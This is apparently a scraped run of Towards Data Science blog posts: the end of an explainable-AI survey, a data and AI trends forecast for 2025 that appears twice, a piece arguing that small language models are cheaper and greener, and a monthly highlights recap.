To further assess the robustness of our model, we compute additional metrics, such as sensitivity and infidelity [Yeh et al., 2019]. Results indicate that while the model is not overly sensitive to slight perturbations in the input (SENS=0.21), the alterations to the top-important regions may potentially have an influence on model decisions, in particular, for the top-10% (Fig. 8). To perform a more in-depth assessment of the sensitivity of the explanations for our model, we can further extend the list of explainability methods, for instance, using Integrated Gradients and SHAP [Lundberg & Lee, 2017]. In addition, to assess model resistance to adversarial attacks, the next steps may include quantifying further robustness metrics [Goodfellow et al., 2015, Dong et al., 2023].

Conclusions

This article provides a comprehensive overview of scientific literature published over past decades encompassing key milestones in deep learning and computer vision that laid the foundation of the research in the field of XAI. Reflecting on recent technological advances and perspectives in the field, we discussed potential implications of XAI in light of emerging AI regulatory frameworks and responsible AI practices, anticipating the increased relevance of explainability in the future. Furthermore, we examined application domains and explored stakeholders’ groups and their desiderata to provide practical suggestions on how XAI can address current challenges and needs for creating reliable and trustworthy AI systems. We have also covered fundamental concepts and taxonomies related to explainability, commonly used methods and approaches used for vision, along with qualitative and quantitative metrics to evaluate post-hoc explanations. Finally, to demonstrate how explainability can be applied to leverage understanding on deep learning models, the last section presented a case in which XAI methods and metrics were effectively applied to a fine-grained classification task to identify relevant features affecting model decisions and to perform quantitative and qualitative assessment of results to validate quality of the derived explanations with respect to model reasoning. In the upcoming article-tutorial, we will further explore the topic of explainability and its practical applications, focusing on how to leverage XAI in design for optimizing model performance and reducing classification errors.

What’s next?

In the upcoming article, we will further explore the topic of explainability and its practical applications, focusing on how to leverage XAI in design for optimizing model performance and reducing classification errors. Interested to keep it on? Stay updated on more materials at — https://github.com/slipnitskaya/computer-vision-birds and https://medium.com/@slipnitskaya.

100 Years of (eXplainable) AI was originally published in Towards Data Science on Medium, where people are continuing the conversation by highlighting and responding to this story.

According to industry experts, 2024 was destined to be a banner year for generative AI. Operational use cases were rising to the surface, technology was reducing barriers to entry, and general artificial intelligence was obviously right around the corner.

So… did any of that happen?

Well, sort of. Here at the end of 2024, some of those predictions have come out piping hot. The rest need a little more time in the oven (I’m looking at you general artificial intelligence).

Here’s where leading futurist and investor Tomasz Tunguz thinks data and AI stands at the end of 2024 — plus a few predictions of my own.

2025 data engineering trends incoming.

1. We’re living in a world without reason (Tomasz)

Just three years into our AI dystopia, we’re starting to see businesses create value in some of the areas we would expect — but not all of them. According to Tomasz, the current state of AI can be summed up in three categories.

1. Prediction: AI copilots that can complete a sentence, correct code errors, etc.

2. Search: tools that leverage a corpus of data to answer questions

3. Reasoning: a multi-step workflow that can complete complex tasks

While AI copilots and search have seen modest success (particularly the former) among enterprise orgs, reasoning models still appear to be lagging behind. And according to Tomasz, there’s an obvious reason for that.

Model accuracy.

As Tomasz explained, current models struggle to break down tasks into steps effectively unless they’ve seen a particular pattern many times before. And that’s just not the case for the bulk of the work these models could be asked to perform.

“Today…if a large model were asked to produce an FP&A chart, it could do it. But if there’s some meaningful difference — for instance, we move from software billing to usage based billing — it will get lost.”

So for now, it looks like its AI copilots and partially accurate search results for the win.

2. Process > Tooling (Barr)

A new tool is only as good as the process that supports it.

As the “modern data stack” has continued to evolve over the years, data teams have sometimes found themselves in a state of perpetual tire-kicking. They would focus too heavily on the what of their platform without giving adequate attention to the (arguably more important) how.

But as the enterprise landscape inches ever-closer toward production-ready AI — figuring out how to operationalize all this new tooling is becoming all the more urgent.

Let’s consider the example of data quality for a moment. As the data feeding AI took center-stage in 2024, data quality took a step into the spotlight as well. Facing the real possibility of production-ready AI, enterprise data leaders don’t have time to sample from the data quality menu — a few dbt tests here, a couple point solutions there. They’re on the hook to deliver value now, and they need trusted solutions that they can onboard and deploy effectively today.

As enterprise data leaders grapple with the near-term possibility of production-ready AI, they don’t have time to sample from the data quality menu — a few dbt tests here, a couple point solutions there. They’re already on the hook to deliver business value, and they need trusted solutions that they can onboard and deploy effectively today.

The reality is, you could have the most sophisticated data quality platform on the market — the most advanced automations, the best copilots, the shiniest integrations — but if you can’t get your organization up and running quickly, all you’ve really got is a line item on your budget and a new tab on your desktop.

Over the next 12 months, I expect data teams to lean into proven end-to-end solutions over patchwork toolkits in order to prioritize more critical challenges like data quality ownership, incident management, and long-term domain enablement.

And the solution that delivers on those priorities is the solution that will win the day in AI.

3. AI is driving ROI — but not revenue (Tomasz)

Like any data product, GenAI’s value comes in one of two forms; reducing costs or generating revenue.

On the revenue side, you might have something like AI SDRS, enrichment machines, or recommendations. According to Tomasz, these tools can generate a lot of sales pipeline… but it won’t be a healthy pipeline. So, if it’s not generating revenue, AI needs to be cutting costs — and in that regard, this budding technology has certainly found some footing.

“Not many companies are closing business from it. It’s mostly cost reduction. Klarna cut two-thirds of their head count. Microsoft and ServiceNow have seen 50–75% increases in engineering productivity.”

According to Tomasz, an AI use-case presents the opportunity for cost reduction if one of three criteria are met:

• Repetitive jobs
• Challenging labor market
• Urgent hiring needs

One example Tomasz cited of an organization that is driving new revenue effectively was EvenUp — a transactional legal company that automates demand letters. Organizations like EvenUp that support templated but highly specialized services could be uniquely positioned to see an outsized impact from AI in its current form.

4. AI adoption is slower than expected — but leaders are biding their time (Tomasz)

In contrast to the tsunami of “AI strategies” that were being embraced a year ago, leaders today seem to have taken a unanimous step backward from the technology.

“There was a wave last year when people were trying all kinds of software just to see it. Their boards were asking about their AI strategy. But now there’s been a huge amount of churn in that early wave.”

While some organizations simply haven’t seen value from their early experiments, others have struggled with the rapid evolution of its underlying technology. According to Tomasz, this is one of the biggest challenges for investing in AI companies. It’s not that the technology isn’t valuable in theory — it’s that organizations haven’t figured out how to leverage it effectively in practice.

Tomasz believes that the next wave of adoption will be different from the first because leaders will be more informed about what they need — and where to find it.

Like the dress rehearsal before the big show, teams know what they’re looking for, they’ve worked out some of the kinks with legal and procurement — particularly data loss and prevention — and they’re primed to act when the right opportunity presents itself.

The big challenge of tomorrow? “How can I find and sell the value faster?”

5. Small data is the future of AI (Tomasz)

The open source versus managed debate is a tale as old as… well, something old. But when it comes to AI, that question gets a whole lot more complicated.

At the enterprise level, it’s not simply a question of control or interoperability — though that can certainly play a part — it’s a question of operational cost.

While Tomasz believes that the largest B2C companies will use off the shelf models, he expects B2B to trend toward their own proprietary and open-source models instead.

“In B2B, you’ll see smaller models on the whole, and more open source on the whole. That’s because it’s much cheaper to run a small open source model.”

But it’s not all dollars and cents. Small models also improve performance. Like Google, large models are designed to service a variety of use-cases. Users can ask a large model about effectively anything, so that model needs to be trained on a large enough corpus of data to deliver a relevant response. Water polo. Chinese history. French toast.

Unfortunately, the more topics a model is trained on, the more likely it is to conflate multiple concepts — and the more erroneous the outputs will be over time.

“You can take something like llama 2 with 8 billion parameters, fine tune it with 10,000 support tickets and it will perform much better,” says Tomasz.

What’s more, ChatGPT and other managed solutions are frequently being challenged in courts over claims that their creators didn’t have legal rights to the data those models were trained on.

And in many cases, that’s probably not wrong.

This, in addition to cost and performance, will likely have an impact on long-term adoption of proprietary models — particulary in highly regulated industries — but the severity of that impact remains uncertain.

Of course, proprietary models aren’t lying down either. Not if Sam Altman has anything to say about it. (And if Twitter has taught us anything, Sam Altman definitely has a lot to say.)

Proprietary models are already aggressively cutting prices to drive demand. Models like ChatGPT have already cut prices by roughly 50% and are expecting to cut by another 50% in the next 6 months. That cost cutting could be a much needed boon for the B2C companies hoping to compete in the AI arms race.

6. The lines are blurring for analysts and data engineers (Barr)

When it comes to scaling pipeline production, there are generally two challenges that data teams will run into: analysts who don’t have enough technical experience and data engineers don’t have enough time.

Sounds like a problem for AI.

As we look to how data teams might evolve, there are two major developments that — I believe — could drive consolidation of engineering and analytical responsibilities in 2025:

• Increased demand — as business leaders’ appetite for data and AI products grows, data teams will be on the hook to do more with less. In an effort to minimize bottlenecks, leaders will naturally empower previously specialized teams to absorb more responsibility for their pipelines — and their stakeholders.
• Improvements in automation — new demand always drives new innovation. (In this case, that means AI-enabled pipelines.) As technologies naturally become more automated, engineers will be empowered to do more with less, while analysts will be empowered to do more on their own.

The argument is simple — as demand increases, pipeline automation will naturally evolve to meet demand. As pipeline automation evolves to meet demand, the barrier to creating and managing those pipelines will decrease. The skill gap will decrease and the ability to add new value will increase.

The move toward self-serve AI-enabled pipeline management means that the most painful part of everyone’s job gets automated away — and their ability to create and demonstrate new value expands in the process. Sounds like a nice future.

7. Synthetic data matters — but it comes at a cost (Tomasz)

You’ve probably seen the image of a snake eating its own tail. If you look closely, it bears a striking resemblance to contemporary AI.

There are approximately 21–25 trillion tokens (words) on the internet right now. The AI models in production today have used all of them. In order for data to continue to advance, it requires an infinitely greater corpus of data to be trained on. The more data it has, the more context it has available for outputs — and the more accurate those outputs will be.

So, what does an AI researcher do when they run out of training data?

They make their own.

As training data becomes more scarce, companies like OpenAI believe that synthetic data will be an important part of how they train their models in the future. And over the last 24 months, an entire industry has evolved to service that very vision — including companies like Tonic that generate synthetic structured data and Gretel that creates compliant data for regulated industries like finance and healthcare.

But is synthetic data a long-term solution? Probably not.

Synthetic data works by leveraging models to create artificial datasets that reflect what someone might find organically (in some alternate reality where more data actually exists), and then using that new data to train their own models. On a small scale, this actually makes a lot of sense. You know what they say about too much of a good thing…

You can think of it like contextual malnutrition. Just like food, if a fresh organic data source is the most nutritious data for model training, then data that’s been distilled from existing datasets must be, by its nature, less nutrient rich than the data that came before.

A little artificial flavoring is okay — but if that diet of synthetic training data continues into perpetuity without new grass-fed data being introduced, that model will eventually fail (or at the very least, have noticeably less attractive nail beds).

It’s not really a matter of if, but when.

According to Tomasz, we’re a long way off from model collapse at this point. But as AI research continues to push models to their functional limits, it’s not difficult to see a world where AI reaches its functional plateau — maybe sooner than later.

8. The unstructured data stack will emerge (Barr)

The idea of leveraging unstructured data in production isn’t new by any means — but in the age of AI, unstructured data has taken on a whole new role.

According to a report by IDC only about half of an organization’s unstructured data is currently being analyzed.

All that is about to change.

When it comes to generative AI, enterprise success depends largely on the panoply of unstructured data that’s used to train, fine-tune, and augment it. As more organizations look to operationalize AI for enterprise use cases, enthusiasm for unstructured data — and the burgeoning “unstructured data stack” — will continue to grow as well.

Some teams are even exploring how they can use additional LLMs to add structure to unstructured data to scale its usefulness in additional training and analytics use cases as well.

Identifying what unstructured first-party data exists within your organization — and how you could potentially activate that data for your stakeholders — is a greenfield opportunity for data leaders looking to demonstrate the business value of their data platform (and hopefully secure some additional budget for priority initiatives along the way).

If 2024 was about exploring the potential of unstructured data — 2025 will be all about realizing its value. The question is… what tools will rise to the surface?

9. Agentic AI is great for conversation — but not deployment (Tomasz)

If you’re swimming anywhere near the venture capital ponds these days, you’re likely to hear a couple terms tossed around pretty regularly: “copilot” which is a fancy term for an AI used to complete a single step (“correct my terrible code”), and “agents” which are a multi-step workflow that can gather information and use it to perform a task (“write a blog about my terrible code and publish it to my WordPress”).

No doubt, we’ve seen a lot of success around AI copilots in 2024, (just ask Github, Snowflake, the Microsoft paperclip, etc), but what about AI agents?

While “agentic AI” has had a fun time wreaking havoc on customer support teams, it looks like that’s all it’s destined to be in the near term. While these early AI agents are an important step forward, the accuracy of these workflows is still poor.

For context, 75%-90% accuracy is state of the art for AI. Most AI is equivalent to a high school student. But if you have three steps of 75–90% accuracy, your ultimate accuracy is around 50%.

We’ve trained elephants to paint with better accuracy than that.

Far from being a revenue driver for organizations, most AI agents would be actively harmful if released into production at their current performance. According to Tomasz, we need to solve that problem first.

It’s important to be able to talk about them, no one has had any success outside of a demo. Because regardless of how much people in the Valley might love to talk about AI agents, that talk doesn’t translate into performance.

10. Pipelines are expanding — but quality coverage isn’t (Tomasz)

“At a dinner with a bunch of heads of AI, I asked how many people were satisfied with the quality of the outputs, and no one raised their hands. There’s a real quality challenge in getting consistent outputs.”

Pipelines are expanding and they need to be monitoring them. He was talking to an end to end AI solution. Everyone wants AI in the workflows, so the pipelines will increase dramatically. The quality of that data is absolutely essential. The pipelines are massively expanding and you need to be monitoring or you’ll be making the wrong decisions. And the data volumes will be increasingly tremendous.

Each year, Monte Carlo surveys real data professionals about the state of their data quality. This year, we turned our gaze to the shadow of AI, and the message was clear.

Data quality risks are evolving — but data quality management isn’t.

“We’re seeing teams build out vector databases or embedding models at scale. SQLLite at scale. All of these 100 million small databases. They’re starting to be architected at the CDN layer to run all these small models. Iphones will have machine learning models. We’re going to see an explosion in the total number of pipelines but with much smaller data volumes.”

The pattern of fine-tuning will create an explosion in the number of data pipelines within an organization. But the more pipelines expand, the more difficult data quality becomes.

Data quality increases in direct proportion to the volume and complexity of your pipelines. The more pipelines you have (and the more complex they become), the more opportunities you’ll have for things to break — and the less likely you’ll be to find them in time.

+++

What do you think? Reach out to Barr at barr@montecarlodata.com. I’m all ears.

Top 10 Data & AI Trends for 2025 was originally published in Towards Data Science on Medium, where people are continuing the conversation by highlighting and responding to this story.

According to industry experts, 2024 was destined to be a banner year for generative AI. Operational use cases were rising to the surface, technology was reducing barriers to entry, and general artificial intelligence was obviously right around the corner.

So… did any of that happen?

Well, sort of. Here at the end of 2024, some of those predictions have come out piping hot. The rest need a little more time in the oven (I’m looking at you general artificial intelligence).

Here’s where leading futurist and investor Tomasz Tunguz thinks data and AI stands at the end of 2024 — plus a few predictions of my own.

2025 data engineering trends incoming.

1. We’re living in a world without reason (Tomasz)

Just three years into our AI dystopia, we’re starting to see businesses create value in some of the areas we would expect — but not all of them. According to Tomasz, the current state of AI can be summed up in three categories.

1. Prediction: AI copilots that can complete a sentence, correct code errors, etc.

2. Search: tools that leverage a corpus of data to answer questions

3. Reasoning: a multi-step workflow that can complete complex tasks

While AI copilots and search have seen modest success (particularly the former) among enterprise orgs, reasoning models still appear to be lagging behind. And according to Tomasz, there’s an obvious reason for that.

Model accuracy.

As Tomasz explained, current models struggle to break down tasks into steps effectively unless they’ve seen a particular pattern many times before. And that’s just not the case for the bulk of the work these models could be asked to perform.

“Today…if a large model were asked to produce an FP&A chart, it could do it. But if there’s some meaningful difference — for instance, we move from software billing to usage based billing — it will get lost.”

So for now, it looks like its AI copilots and partially accurate search results for the win.

2. Process > Tooling (Barr)

A new tool is only as good as the process that supports it.

As the “modern data stack” has continued to evolve over the years, data teams have sometimes found themselves in a state of perpetual tire-kicking. They would focus too heavily on the what of their platform without giving adequate attention to the (arguably more important) how.

But as the enterprise landscape inches ever-closer toward production-ready AI — figuring out how to operationalize all this new tooling is becoming all the more urgent.

Let’s consider the example of data quality for a moment. As the data feeding AI took center-stage in 2024, data quality took a step into the spotlight as well. Facing the real possibility of production-ready AI, enterprise data leaders don’t have time to sample from the data quality menu — a few dbt tests here, a couple point solutions there. They’re on the hook to deliver value now, and they need trusted solutions that they can onboard and deploy effectively today.

As enterprise data leaders grapple with the near-term possibility of production-ready AI, they don’t have time to sample from the data quality menu — a few dbt tests here, a couple point solutions there. They’re already on the hook to deliver business value, and they need trusted solutions that they can onboard and deploy effectively today.

The reality is, you could have the most sophisticated data quality platform on the market — the most advanced automations, the best copilots, the shiniest integrations — but if you can’t get your organization up and running quickly, all you’ve really got is a line item on your budget and a new tab on your desktop.

Over the next 12 months, I expect data teams to lean into proven end-to-end solutions over patchwork toolkits in order to prioritize more critical challenges like data quality ownership, incident management, and long-term domain enablement.

And the solution that delivers on those priorities is the solution that will win the day in AI.

3. AI is driving ROI — but not revenue (Tomasz)

Like any data product, GenAI’s value comes in one of two forms; reducing costs or generating revenue.

On the revenue side, you might have something like AI SDRS, enrichment machines, or recommendations. According to Tomasz, these tools can generate a lot of sales pipeline… but it won’t be a healthy pipeline. So, if it’s not generating revenue, AI needs to be cutting costs — and in that regard, this budding technology has certainly found some footing.

“Not many companies are closing business from it. It’s mostly cost reduction. Klarna cut two-thirds of their head count. Microsoft and ServiceNow have seen 50–75% increases in engineering productivity.”

According to Tomasz, an AI use-case presents the opportunity for cost reduction if one of three criteria are met:

• Repetitive jobs
• Challenging labor market
• Urgent hiring needs

One example Tomasz cited of an organization that is driving new revenue effectively was EvenUp — a transactional legal company that automates demand letters. Organizations like EvenUp that support templated but highly specialized services could be uniquely positioned to see an outsized impact from AI in its current form.

4. AI adoption is slower than expected — but leaders are biding their time (Tomasz)

In contrast to the tsunami of “AI strategies” that were being embraced a year ago, leaders today seem to have taken a unanimous step backward from the technology.

“There was a wave last year when people were trying all kinds of software just to see it. Their boards were asking about their AI strategy. But now there’s been a huge amount of churn in that early wave.”

While some organizations simply haven’t seen value from their early experiments, others have struggled with the rapid evolution of its underlying technology. According to Tomasz, this is one of the biggest challenges for investing in AI companies. It’s not that the technology isn’t valuable in theory — it’s that organizations haven’t figured out how to leverage it effectively in practice.

Tomasz believes that the next wave of adoption will be different from the first because leaders will be more informed about what they need — and where to find it.

Like the dress rehearsal before the big show, teams know what they’re looking for, they’ve worked out some of the kinks with legal and procurement — particularly data loss and prevention — and they’re primed to act when the right opportunity presents itself.

The big challenge of tomorrow? “How can I find and sell the value faster?”

5. Small data is the future of AI (Tomasz)

The open source versus managed debate is a tale as old as… well, something old. But when it comes to AI, that question gets a whole lot more complicated.

At the enterprise level, it’s not simply a question of control or interoperability — though that can certainly play a part — it’s a question of operational cost.

While Tomasz believes that the largest B2C companies will use off the shelf models, he expects B2B to trend toward their own proprietary and open-source models instead.

“In B2B, you’ll see smaller models on the whole, and more open source on the whole. That’s because it’s much cheaper to run a small open source model.”

But it’s not all dollars and cents. Small models also improve performance. Like Google, large models are designed to service a variety of use-cases. Users can ask a large model about effectively anything, so that model needs to be trained on a large enough corpus of data to deliver a relevant response. Water polo. Chinese history. French toast.

Unfortunately, the more topics a model is trained on, the more likely it is to conflate multiple concepts — and the more erroneous the outputs will be over time.

“You can take something like llama 2 with 8 billion parameters, fine tune it with 10,000 support tickets and it will perform much better,” says Tomasz.

What’s more, ChatGPT and other managed solutions are frequently being challenged in courts over claims that their creators didn’t have legal rights to the data those models were trained on.

And in many cases, that’s probably not wrong.

This, in addition to cost and performance, will likely have an impact on long-term adoption of proprietary models — particulary in highly regulated industries — but the severity of that impact remains uncertain.

Of course, proprietary models aren’t lying down either. Not if Sam Altman has anything to say about it. (And if Twitter has taught us anything, Sam Altman definitely has a lot to say.)

Proprietary models are already aggressively cutting prices to drive demand. Models like ChatGPT have already cut prices by roughly 50% and are expecting to cut by another 50% in the next 6 months. That cost cutting could be a much needed boon for the B2C companies hoping to compete in the AI arms race.

6. The lines are blurring for analysts and data engineers (Barr)

When it comes to scaling pipeline production, there are generally two challenges that data teams will run into: analysts who don’t have enough technical experience and data engineers don’t have enough time.

Sounds like a problem for AI.

As we look to how data teams might evolve, there are two major developments that — I believe — could drive consolidation of engineering and analytical responsibilities in 2025:

• Increased demand — as business leaders’ appetite for data and AI products grows, data teams will be on the hook to do more with less. In an effort to minimize bottlenecks, leaders will naturally empower previously specialized teams to absorb more responsibility for their pipelines — and their stakeholders.
• Improvements in automation — new demand always drives new innovation. (In this case, that means AI-enabled pipelines.) As technologies naturally become more automated, engineers will be empowered to do more with less, while analysts will be empowered to do more on their own.

The argument is simple — as demand increases, pipeline automation will naturally evolve to meet demand. As pipeline automation evolves to meet demand, the barrier to creating and managing those pipelines will decrease. The skill gap will decrease and the ability to add new value will increase.

The move toward self-serve AI-enabled pipeline management means that the most painful part of everyone’s job gets automated away — and their ability to create and demonstrate new value expands in the process. Sounds like a nice future.

7. Synthetic data matters — but it comes at a cost (Tomasz)

You’ve probably seen the image of a snake eating its own tail. If you look closely, it bears a striking resemblance to contemporary AI.

There are approximately 21–25 trillion tokens (words) on the internet right now. The AI models in production today have used all of them. In order for data to continue to advance, it requires an infinitely greater corpus of data to be trained on. The more data it has, the more context it has available for outputs — and the more accurate those outputs will be.

So, what does an AI researcher do when they run out of training data?

They make their own.

As training data becomes more scarce, companies like OpenAI believe that synthetic data will be an important part of how they train their models in the future. And over the last 24 months, an entire industry has evolved to service that very vision — including companies like Tonic that generate synthetic structured data and Gretel that creates compliant data for regulated industries like finance and healthcare.

But is synthetic data a long-term solution? Probably not.

Synthetic data works by leveraging models to create artificial datasets that reflect what someone might find organically (in some alternate reality where more data actually exists), and then using that new data to train their own models. On a small scale, this actually makes a lot of sense. You know what they say about too much of a good thing…

You can think of it like contextual malnutrition. Just like food, if a fresh organic data source is the most nutritious data for model training, then data that’s been distilled from existing datasets must be, by its nature, less nutrient rich than the data that came before.

A little artificial flavoring is okay — but if that diet of synthetic training data continues into perpetuity without new grass-fed data being introduced, that model will eventually fail (or at the very least, have noticeably less attractive nail beds).

It’s not really a matter of if, but when.

According to Tomasz, we’re a long way off from model collapse at this point. But as AI research continues to push models to their functional limits, it’s not difficult to see a world where AI reaches its functional plateau — maybe sooner than later.

8. The unstructured data stack will emerge (Barr)

The idea of leveraging unstructured data in production isn’t new by any means — but in the age of AI, unstructured data has taken on a whole new role.

According to a report by IDC only about half of an organization’s unstructured data is currently being analyzed.

All that is about to change.

When it comes to generative AI, enterprise success depends largely on the panoply of unstructured data that’s used to train, fine-tune, and augment it. As more organizations look to operationalize AI for enterprise use cases, enthusiasm for unstructured data — and the burgeoning “unstructured data stack” — will continue to grow as well.

Some teams are even exploring how they can use additional LLMs to add structure to unstructured data to scale its usefulness in additional training and analytics use cases as well.

Identifying what unstructured first-party data exists within your organization — and how you could potentially activate that data for your stakeholders — is a greenfield opportunity for data leaders looking to demonstrate the business value of their data platform (and hopefully secure some additional budget for priority initiatives along the way).

If 2024 was about exploring the potential of unstructured data — 2025 will be all about realizing its value. The question is… what tools will rise to the surface?

9. Agentic AI is great for conversation — but not deployment (Tomasz)

If you’re swimming anywhere near the venture capital ponds these days, you’re likely to hear a couple terms tossed around pretty regularly: “copilot” which is a fancy term for an AI used to complete a single step (“correct my terrible code”), and “agents” which are a multi-step workflow that can gather information and use it to perform a task (“write a blog about my terrible code and publish it to my WordPress”).

No doubt, we’ve seen a lot of success around AI copilots in 2024, (just ask Github, Snowflake, the Microsoft paperclip, etc), but what about AI agents?

While “agentic AI” has had a fun time wreaking havoc on customer support teams, it looks like that’s all it’s destined to be in the near term. While these early AI agents are an important step forward, the accuracy of these workflows is still poor.

For context, 75%-90% accuracy is state of the art for AI. Most AI is equivalent to a high school student. But if you have three steps of 75–90% accuracy, your ultimate accuracy is around 50%.

We’ve trained elephants to paint with better accuracy than that.

Far from being a revenue driver for organizations, most AI agents would be actively harmful if released into production at their current performance. According to Tomasz, we need to solve that problem first.

It’s important to be able to talk about them, no one has had any success outside of a demo. Because regardless of how much people in the Valley might love to talk about AI agents, that talk doesn’t translate into performance.

10. Pipelines are expanding — but quality coverage isn’t (Tomasz)

“At a dinner with a bunch of heads of AI, I asked how many people were satisfied with the quality of the outputs, and no one raised their hands. There’s a real quality challenge in getting consistent outputs.”

Pipelines are expanding and they need to be monitoring them. He was talking to an end to end AI solution. Everyone wants AI in the workflows, so the pipelines will increase dramatically. The quality of that data is absolutely essential. The pipelines are massively expanding and you need to be monitoring or you’ll be making the wrong decisions. And the data volumes will be increasingly tremendous.

Each year, Monte Carlo surveys real data professionals about the state of their data quality. This year, we turned our gaze to the shadow of AI, and the message was clear.

Data quality risks are evolving — but data quality management isn’t.

“We’re seeing teams build out vector databases or embedding models at scale. SQLLite at scale. All of these 100 million small databases. They’re starting to be architected at the CDN layer to run all these small models. Iphones will have machine learning models. We’re going to see an explosion in the total number of pipelines but with much smaller data volumes.”

The pattern of fine-tuning will create an explosion in the number of data pipelines within an organization. But the more pipelines expand, the more difficult data quality becomes.

Data quality increases in direct proportion to the volume and complexity of your pipelines. The more pipelines you have (and the more complex they become), the more opportunities you’ll have for things to break — and the less likely you’ll be to find them in time.

+++

What do you think? Reach out to Barr at barr@montecarlodata.com. I’m all ears.

Top 10 Data & AI Trends for 2025 was originally published in Towards Data Science on Medium, where people are continuing the conversation by highlighting and responding to this story.

Since comprehensive data on ChatGPT-4 is not readily available, we can consider Llama 3.1 405B as an example. This open-source model from Meta is arguably the most “transparent” LLM to date. Based on various benchmarks, Llama 3.1 405B is comparable to ChatGPT-4, providing a reasonable basis for understanding LLMs within this range.

Inference

The hardware requirements to run the 32-bit version of this model range from 1,620 to 1,944 GB of GPU memory, depending on the source (substratus, HuggingFace). For a conservative estimate, let’s use the lower figure of 1,620 GB. To put this into perspective — acknowledging that this is a simplified analogy — 1,620 GB of GPU memory is roughly equivalent to the combined memory of 100 standard MacBook Pros (16GB each). So, when you ask one of these LLMs for a tiramisu recipe in Shakespearean style, it takes the power of 100 MacBook Pros to give you an answer.

Training

I’m attempting to translate these figures into something more tangible… though this doesn’t include the training costs, which are estimated to involve around 16,000 GPUs at an approximate cost of $60 million USD (excluding hardware costs) — a significant investment from Meta — in a process that took around 80 days. In terms of electricity consumption, training required 11 GWh.

The annual electricity consumption per person in a country like France is approximately 2,300 kWh. Thus, 11 GWh corresponds to the yearly electricity usage of about 4,782 people. This consumption resulted in the release of approximately 5,000 tons of CO₂-equivalent greenhouse gases (based on the European average), , although this figure can easily double depending on the country where the model was trained.

For comparison, burning 1 liter of diesel produces 2.54 kg of CO₂. Therefore, training Llama 3.1 405B — in a country like France — is roughly equivalent to the emissions from burning around 2 million liters of diesel. This translates to approximately 28 million kilometers of car travel. I think that provides enough perspective… and I haven’t even mentioned the water required to cool the GPUs!

Sustainability

Clearly, AI is still in its infancy, and we can anticipate more optimal and sustainable solutions to emerge over time. However, in this intense race, OpenAI’s financial landscape highlights a significant disparity between its revenues and operational expenses, particularly in relation to inference costs. In 2024, the company is projected to spend approximately $4 billion on processing power provided by Microsoft for inference workloads, while its annual revenue is estimated to range between $3.5 billion and $4.5 billion. This means that inference costs alone nearly match — or even exceed — OpenAI’s total revenue (deeplearning.ai).

All of this is happening in a context where experts are announcing a performance plateau for AI models (scaling paradigm). Increasing model size and GPUs are yielding significantly diminished returns compared to previous leaps, such as the advancements GPT-4 achieved over GPT-3. “The pursuit of AGI has always been unrealistic, and the ‘bigger is better’ approach to AI was bound to hit a limit eventually — and I think this is what we’re seeing here” said Sasha Luccioni, researcher and AI lead at startup Hugging Face.

And now?

But don’t get me wrong — I’m not putting AI on trial, because I love it! This research phase is absolutely a normal stage in the development of AI. However, I believe we need to exercise common sense in how we use AI: we can’t use a bazooka to kill a mosquito every time. AI must be made sustainable — not only to protect our environment but also to address social divides. Indeed, the risk of leaving the Global South behind in the AI race due to high costs and resource demands would represent a significant failure in this new intelligence revolution..

So, do you really need the full power of ChatGPT to handle the simplest tasks in your RAG pipeline? Are you looking to control your operational costs? Do you want complete end-to-end control over your pipeline? Are you concerned about your private data circulating on the web? Or perhaps you’re simply mindful of AI’s impact and committed to its conscious use?

SLM can be a smarter choice!

Small language models (SLMs) offer an excellent alternative worth exploring. They can run on your local infrastructure and, when combined with human intelligence, deliver substantial value. Although there is no universally agreed definition of an SLM — in 2019, for instance, GPT-2 with its 1.5 billion parameters was considered an LLM, which is no longer the case — I am referring to models such as Mistral 7B, Llama-3.2 3B, or Phi3.5, to name a few. These models can operate on a “good” computer, resulting in a much smaller carbon footprint while ensuring the confidentiality of your data when installed on-premise. Although they are less versatile, when used wisely for specific tasks, they can still provide significant value — while being more environmentally virtuous.

Smaller is smarter was originally published in Towards Data Science on Medium, where people are continuing the conversation by highlighting and responding to this story.

Feeling inspired to write your first TDS post? We’re always open to contributions from new authors.

Welcome to the penultimate monthly recap of 2024 — could we really be this close to the end of the year?! We’re sure that you, like us, are hard at work tying up loose ends and making a final push on your various projects. We have quite a few of those on our end, and one exciting update we’re thrilled to share with our community already is that TDS is now active on Bluesky. If you’re one of the many recent arrivals to the platform (or have been thinking about taking the plunge), we encourage you to follow our account.

What else is on our mind? All the fantastic articles our authors have published in recent weeks, inspiring our readers to learn new skills and explore emerging topics in data science and AI. Our monthly highlights cover a lot of ground—as they usually do—and provide multiple accessible entryways into timely technical topics, from knowledge graphs to RAG evaluation. Let’s dive in.

Monthly Highlights

• Agentic Mesh: The Future of Generative AI-Enabled Autonomous Agent Ecosystems
  What will it take for autonomous agents to find each other, collaborate, interact, and transact in a safe, efficient, and trusted fashion? Eric Broda presents his exciting vision for the agentic mesh, a framework that will act as the seamless connecting tissue for AI agents.
• Building Knowledge Graphs with LLM Graph Transformer
  For anyone in the mood for a hands-on deep dive, Tomaz Bratanic’s latest technical guide walks us through the nitty-gritty details of LangChain’s implementation of graph construction with LLMs.
• Why ETL-Zero? Understanding the shift in Data Integration
  “Instead of requiring the explicit extraction, transformation and loading of data in separate steps, as is traditionally the case, data should flow seamlessly between different systems.” Sarah Lea introduces a novel approach for creating a simplified ETL process with Python.

• Economics of Hosting Open Source LLMs
  As LLM usage has skyrocketed in the past year or so, practitioners have increasingly asked themselves what the most efficient way to deploy these models might be. Ida Silfverskiöld offers a detailed breakdown of the various factors to consider and how different providers stack up when it comes to processing time, cold start delays, and CPU, memory, and GPU costs.
• How I Improved My Productivity as a Data Scientist with Two Small Habits
  Sometimes, minor changes to your daily routine can have as much of an impact as a total workflow overhaul. Case in point: Philippe Ostiguy, M. Sc.’s new post, where we learn about two seemingly non-work-related habits around rest and mental strength that have given Philippe’s productivity a major boost.
• A 6-Month Detailed Plan to Build Your Junior Data Science Portfolio
  Whether you’re a freshly minted data scientist or a more seasoned professional looking for a new role, Sabrine Bendimerad’s blueprint for crafting a successful portfolio will give you concrete ideas and a realistic timeline for getting the job done.
• How to Reduce Python Runtime for Demanding Tasks
  Everyone wants their code to run faster, but hitting a plateau is all but inevitable when dealing with particularly heavy workloads. Still, as Jiayan Yin shows in her highly actionable post, there might still be GPU optimization options you haven’t taken advantage of to speed up your Python code.
• How to Create a RAG Evaluation Dataset From Documents
  As Dr. Leon Eversberg explains in his recent tutorial, “by uploading PDF files and storing them in a vector database, we can retrieve this knowledge via a vector similarity search and then insert the retrieved text into the LLM prompt as additional context.” The result? A robust approach for evaluating RAG workflows and a reduced chance for hallucinations.

Our latest cohort of new authors

